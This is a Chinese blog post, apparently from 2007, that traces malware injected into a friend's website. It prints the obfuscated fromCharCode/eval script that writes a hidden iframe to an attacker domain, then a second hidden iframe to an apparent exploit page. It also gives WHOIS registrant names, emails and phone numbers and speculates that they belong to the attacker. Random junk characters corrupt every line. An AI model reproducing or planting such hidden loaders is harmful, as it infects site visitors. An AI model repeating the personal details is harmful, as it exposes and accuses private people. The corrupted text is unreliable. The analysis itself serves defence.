首发在我的博客里面，
rSD!u0c [ SrN;S kS http://www.areway.cn/?p=175 g]V}azLr 1@Bq-2OD4 j}chU'i f 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
W&]grG2/ Z3G>DF:$ <script>t=’60,105,102,114,97,109,101,
PiZt?r?5w| 32,115,114,99,61,104,116,116,112,58,47,47,
hgE!) UE 102,114,101,101,46,117,45,117,117,117,46,99,
1WPDMLuN 110,47,101,114,114,111,114,46,104,116,109,
:XMw=" u= 32,119,105,100,116,104,61,49,48,48,32,104,
<v"C`cga 101,105,103,104,116,61,48,62,60,47,105,102,
Wx&AY"J
114,97,109,101,62′;
p1HU2APFP t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
j$#pG zVs_|x=" <script>t=’60,105,102,114,97,109,101,32,115,
k3[
~I' 114,99,61,104,116,116,112,58,47,47,102,114,
QJ o ) 101,101,46,117,45,117,117,117,46,99,110,47,
X u$xO( 101,114,114,111,114,46,104,116,109,32,119,
-pj&|<
h+9 105,100,116,104,61,49,48,48,32,104,101,105,
ke~O+] 103,104,116,61,48,62,60,47,105,102,114,97,
_y)#N< 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
J[ UL
f7: document.write(t);</script>
+7o3TA]- w?.0r6j <html xmlns=”
8^zI http://www.w3.org/1999/xhtml +|Q8P?YD_ “>
/40Z-'Bl=( <head>
W;,.OoDc> <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
pN&D pz^ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
g!7/iKj: <title>首页 - 爱生活家庭网
DT(A ~U<y BpCzmU 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
PDX^MYoN 转换字符串后的大概内容是（谁点击后果自付）：
O!sZMGF$p <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
]?^m;~MQZ N40.GL0s 查询玉米u-uuu.cn的详细信息：
q:-8W[_ Domain Name: u-uuu.cn
$qy% Q] ROID: 20070901s10001s64972306-cn
!1dCk/D&)8 Domain Status: ok
'@HW p 8+ Registrant Organization: 王雷
d> Y9g Registrant Name: 王雷
au5 74tj Administrative Email:
czlovexs@126.com :n>m"> 4 Sponsoring Registrar: 北京万网志成科技有限公司
>i]r,j8! Name Server:ns.yovole.com
!:`QX\Ux Name Server:ns1.yovole.com
B{QY-F~ Registration Date: 2007-09-01 17:54
E/LR(d_ Expiration Date: 2008-09-01 17:54
1b d(JL 最后PING了一下地址 都没有什么….
ro6peUL*2` uKh),@JV 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
]BCH9%zLj <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
gOO\` # <script language=”javascript” src=”
.0#?u1gXsX http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script B4GgR,P@S >
~tDV{ml 这个玉米应该有可能是木马作者的：
T eG5|`t], foafau.info的详细信息：
6{}]QvR Access to INFO WHOIS information is provided to assist persons in
I2%{6g@ determining the contents of a domain name registration record in the
.BlGV 2@^# Afilias registry database. The data in this record is provided by
zF(I#|Vo Afilias Limited for informational purposes only, and Afilias does not
s9qr;}U.` guarantee its accuracy. This service is intended only for query-based
j; 1X- access. You agree that you will use this data only for lawful purposes
kwZ 8q-0 and that, under no circumstances will you use this data to: (a) allow,
|> G tClL enable, or otherwise support the transmission by e-mail, telephone, or
'(kG c% facsimile of mass unsolicited, commercial advertising or solicitations
>va#PFHA to entities other than the data recipient’s own existing customers; or
lW?}jzuo (b) enable high volume, automated, electronic processes that send
&iL"= \# queries or data to the systems of Registry Operator, a Registrar, or
3yDa 5q{ Afilias except as reasonably necessary to register domain names or
[1d lV/ modify existing registrations. All rights reserved. Afilias reserves
RMmDcvM"k the right to modify these terms at any time. By submitting this query,
#
o)a`,f you agree to abide by this policy.
[Pby
d Domain ID:D22418703-LRMS
pb}QP Domain Name:FOAFAU.INFO
e! ar:>T Created On:20-Nov-2007 16:05:42 UTC
vz,l{0 v Last Updated On:20-Nov-2007 16:05:44 UTC
.'p_j(uv Expiration Date:20-Nov-2008 16:05:42 UTC
+l2{EiQw Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
1>4'YMdZi Status:CLIENT DELETE PROHIBITED
S!2M?}LU Status:CLIENT RENEW PROHIBITED
*x M4nUu<~ Status:CLIENT TRANSFER PROHIBITED
yu<sd}@ Status:CLIENT UPDATE PROHIBITED
%z tCcgu* Status:TRANSFER PROHIBITED
tH2y:o 72 Registrant ID:GODA-040110615
e[yk'E Registrant Name:liu hong
L=VJl[DL Registrant Organization:
M2[;b+ W9 Registrant Street1:beijing
{*`qL0u]^ Registrant Street2:
3uz@JY"mK Registrant Street3:
!V$m!i; Registrant City:beijing
PE|_V Registrant State/Province:
d>)*!l2,C Registrant Postal Code:100000
9EK5#_L[= Registrant Country:CN
F.?^ko9d Registrant Phone:+86.860108888777
5pI2G Registrant Phone Ext.:
i(2s"Uww, Registrant FAX:
W7S`+Pq Registrant FAX Ext.:
7P?z{x':T Registrant Email:bbbshiji@163.com
0tC+ ? Admin ID:GODA-240110615
w=s:e M@ Admin Name:liu hong
7*M+bZ`x Admin Organization:
ckBcwIXlP& Admin Street1:beijing
My76]\Psh Admin Street2:
n87 B[R Admin Street3:
`Ou\:Iz0u Admin City:beijing
M8ZpNa Admin State/Province:
\e T0d< Admin Postal Code:100000
U{} bx Admin Country:CN
9 h<]; Admin Phone:+86.860108888777
C! ]hu)E Admin Phone Ext.:
35?et-=w Admin FAX:
s|dcO Admin FAX Ext.:
0[7\p\Q Admin Email:bbbshiji@163.com
,Za! Billing ID:GODA-340110615
^ 0R.'XL Billing Name:liu hong
tz)aQ6p\X Billing Organization:
9sFZs]uM Billing Street1:beijing
Z[R E | l{ Billing Street2:
p2GkI/6)uu Billing Street3:
6FiI\ Billing City:beijing
y>3Zh5= Billing State/Province:
SHOg,#m V Billing Postal Code:100000
0+}42g|_ Z Billing Country:CN
|yx] TD{~P Billing Phone:+86.860108888777
btJ: Wt} Billing Phone Ext.:
*R m>bLI Billing FAX:
(y[+s?;WyB Billing FAX Ext.:
y$Sn3_9 V Billing Email:bbbshiji@163.com
casva; Tech ID:GODA-140110615
WolkW:(Cg Tech Name:liu hong
SS[jk Tech Organization:
o|* ao2a Tech Street1:beijing
5f(yF Tech Street2:
/X~l%Xm Tech Street3:
__fa,kK {? Tech City:beijing
zt/b S/ Tech State/Province:
0/S|h"-L Tech Postal Code:100000
5 >S #ew Tech Country:CN
pwtB{6)VH{ Tech Phone:+86.860108888777
@e8b'w3 Tech Phone Ext.:
RZ-=UIf Tech FAX:
y [:\kI Tech FAX Ext.:
ON.C%-T- Tech Email:bbbshiji@163.com
`w` f[dU- Name Server:NS27.DOMAINCONTROL.COM
fb3(9 Name Server:NS28.DOMAINCONTROL.COM
HT0VdvLw Name Server:
D1rXTI$$ Name Server:
8/F}vf KEN Name Server:
1O] 'iS" Name Server:
_y*@Hj Name Server:
M!Q27wT8 O Name Server:
ebK/cPa8 Name Server:
-c|dTZ8D)8 Name Server:
d7waBs f Name Server:
K X D&FDkF Name Server:
G_vWwH4XtL Name Server:
Q#w mS&$f GOr DDp 接着下载每个文件里面的代码：
U l8G R 一步一步看..
@ {N2I$%6 
zGzeu)d 
o81RD#>E) 
< %@e<,8 
cCx@ VT`0 
$/*1 9 e~ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
